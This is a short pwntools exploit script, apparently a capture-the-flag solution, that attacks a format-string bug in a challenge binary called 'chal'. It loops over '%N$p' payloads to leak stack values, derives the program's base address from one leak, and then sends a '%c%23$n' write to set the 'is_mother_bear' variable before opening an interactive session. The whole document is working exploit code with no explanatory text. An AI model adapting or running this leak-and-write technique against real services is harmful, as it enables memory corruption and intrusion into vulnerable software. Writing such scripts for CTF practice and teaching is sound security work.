from pwn import *

name = "../chal/chal"
file = ELF(name)

if args.REMOTE or args.HOST or args.PORT:
    p = remote(args.HOST or "localhost", args.PORT or "5000")
else:
    raise Exception("not implemented")

delim = b"say: "

leaks = []
for i in range(1, 64):
    payload =  f"%{i}$p *".encode()
    payload =  payload.ljust(8, b"B")
    payload += b"A" * 8

    p.sendlineafter(delim, payload)
    p.recvuntil(b"* ")

    resp = p.recvuntil(b" *", drop=True)

    if resp.startswith(b"("):
        leak = 0
    else:
        leak = int(resp, 16)
    leaks.append(leak)

    log.info(f"[{i:02d}] = {leak:#x}")

# payload+8 at index 23
filebase = leaks[14] - 0x1675
log.info(f"filebase = {filebase:#x}")
    
payload =  b"%c%23$n"
payload =  payload.ljust(8, b"\x00")
payload += p64(filebase + file.sym.is_mother_bear)
p.sendlineafter(delim, payload)

p.interactive()